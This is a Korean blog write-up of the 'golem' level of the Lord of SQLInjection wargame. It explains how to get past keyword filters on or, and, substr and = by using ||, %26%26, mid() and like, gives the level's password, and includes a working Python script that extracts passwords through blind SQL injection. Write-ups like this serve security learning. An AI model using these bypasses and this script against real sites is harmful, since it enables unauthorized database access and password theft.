Web/Lord Of SQL
LOS - golem / level 11
supp0rt
2024. 6. 24. 17:09
문제

풀이 방법
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
pw에 or / and / substr( / = 을 필터링 중이다
or => ||
and => &26&26
substr( => right(left(pw,1),1) or mid(pw,1,1)
= => like
문으로 우회한다
정답
더보기
?pw=77d6290b
코드
이번에는 bit masking이 아닌 일반 brute force로 작성된 코드이다.
import requests
url = "input your url"
cookie = {input your cookie}
user = "admin"
def find_length(url, cookie, user):
i = 1
while True:
params = f"?pw=' || id like '{user}' %26%26 length(pw) > {i}%23"
print(params)
send_url = url + params
res = requests.get(send_url, cookies=cookie)
if "Hello admin" not in res.text:
break
i += 1
return i
def blind(url, cookie, user, length):
str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
result = ""
for i in range(1, length+1):
for k in range(len(str)):
print(f"{str[k]}", end=" ", flush=True)
params = f"?pw=' || id like '{user}' %26%26 mid(pw,{i},1) like %27{str[k]}%27%23"
# print(params)
send_url = url + params
res = requests.get(send_url, cookies=cookie)
if "Hello admin" in res.text:
result = result + str[k]
break
print(f"\n{i} : {result}")
return result
length = find_length(url, cookie, user)
print(f"Length : {length}")
result_str = blind(url, cookie, user, length)
print(result_str)